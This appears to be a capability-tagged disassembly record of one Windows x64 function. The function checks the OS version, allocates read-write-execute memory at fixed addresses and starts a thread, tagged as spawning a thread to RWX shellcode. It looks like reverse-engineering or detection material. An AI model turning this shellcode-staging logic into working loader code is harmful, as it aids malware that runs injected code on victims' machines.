Function at 0x18003f6b0
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Resume thread
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
push rbx
sub rsp, 0x150
mov ebx, ecx
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.USER32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x18003f6e3
xor eax, eax
add rsp, 0x150
pop rbx
ret
lea rcx, [0x1800532c0]
xor edx, edx
mov r8d, 0x8f8
call sub.ntdll.dll_memset
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, [rsp + 0x30]
mov dword [0x1800532c8], ebx
mov qword [0x1800532c0], rax
mov dword [rsp + 0x30], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
lea rbx, [0x180000000]
je 0x18003f849
cmp dword [rsp + 0x34], 5
jne 0x18003f751
cmp dword [rsp + 0x38], 1
jb 0x18003f751
xor r8d, r8d
cmp byte [rsp + 0x14a], 1
je 0x18003f7bb
mov r8d, 2
jmp 0x18003f7bb
lea rcx, [0x18005786e]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x18003f7b4
movsxd rcx, dword [rax + 0x3c]
movzx edx, word [rcx + rax + 0x40]
movzx eax, word [rcx + rax + 0x42]
cmp edx, 6
jne 0x18003f7a5
test eax, eax
jne 0x18003f780
lea r8d, [rdx - 2]
jmp 0x18003f7bb
cmp eax, 1
jne 0x18003f78b
lea r8d, [rax + 5]
jmp 0x18003f7bb
cmp eax, 2
jne 0x18003f796
lea r8d, [rax + 6]
jmp 0x18003f7bb
cmp eax, 3
jne 0x18003f6d8
lea r8d, [rax + 7]
jmp 0x18003f7bb
cmp edx, 0xa
jne 0x18003f6d8
lea r8d, [rdx + 2]
jmp 0x18003f7bb
mov r8d, dword [0x1800532cc]
add r8d, 1
mov dword [0x1800532d0], 1
mov dword [0x1800532d4], 0x42
mov ecx, dword [rbx + r8*4 + 0x510d8]
mov dword [0x1800532cc], r8d
mov dword [0x180053bb4], 0
lea eax, [rcx + 8]
mov dword [0x1800532dc], ecx
mov dword [0x1800532d8], eax
mov eax, dword [rbx + r8*4 + 0x510a0]
mov dword [0x1800532e4], eax
mov eax, dword [rbx + r8*4 + 0x51110]
mov dword [0x1800532e8], eax
mov dword [0x180053308], eax
mov eax, dword [rbx + r8*4 + 0x51148]
mov dword [0x1800532f4], eax
mov eax, dword [rbx + r8*4 + 0x51180]
mov dword [0x1800532f8], eax
mov eax, dword [rbx + r8*4 + 0x511b8]
mov dword [0x1800532fc], eax
jmp 0x18003f850
mov r8d, dword [0x1800532cc]
cmp r8d, 0xc
jae 0x18003f888
cmp r8d, 8
mov eax, r8d
mov ecx, dword [rbx + rax*4 + 0x511f0]
mov dword [0x1800532ec], ecx
je 0x18003f87d
cmp r8d, 0xa
je 0x18003f87d
lea eax, [rcx - 1]
mov dword [0x1800532f0], eax
jmp 0x18003f8c7
lea eax, [rcx + 1]
mov dword [0x1800532f0], eax
jmp 0x18003f8c7
xor ebx, ebx
nop
nop
lea ecx, [rbx + 0x62]
call fcn.18003e160
test eax, eax
mov dword [0x1800532f0], eax
jne 0x18003f8b2
add ebx, 1
cmp ebx, 5
jb 0x18003f890
mov ecx, dword [0x1800532ec]
jmp 0x18003f8c7
cmp dword [0x1800532d0], 0
lea ecx, [rax + 1]
jne 0x18003f8c1
lea ecx, [rax - 1]
mov dword [0x1800532ec], ecx
test ecx, ecx
je 0x18003f6d8
mov edx, 0x1000
mov ecx, 0x20000
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp rax, 0x20000
je 0x18003f959
add dword [0x180053308], 1
mov edx, 0x1000
mov ecx, 0x2000000
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp rax, 0x2000000
je 0x18003f959
add dword [0x180053308], 1
mov edx, 0x1000
movabs rcx, 0x200000000
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movabs rcx, 0x200000000
cmp rax, rcx
jne 0x18003f6d8
test rax, rax
je 0x18003f6d8
mov qword [0x180053300], rax
add rax, 0x188
lea rcx, [0x180053b88]
mov qword [0x180053310], rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea r8, [0x18003ef50]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
mov qword [0x180053320], rax
je 0x18003f6d8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp dword [0x180053bb4], 0
jne 0x18003f9ed
nop
nop
cmp dword [0x180053bb0], 0xa
ja 0x18003f9ed
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x180053bb4], 0
je 0x18003f9d0
mov rcx, qword [0x180053360]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rcx, qword [0x180053328]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x180053320]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x180053b88]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x180053bb4]
add rsp, 0x150
pop rbx
ret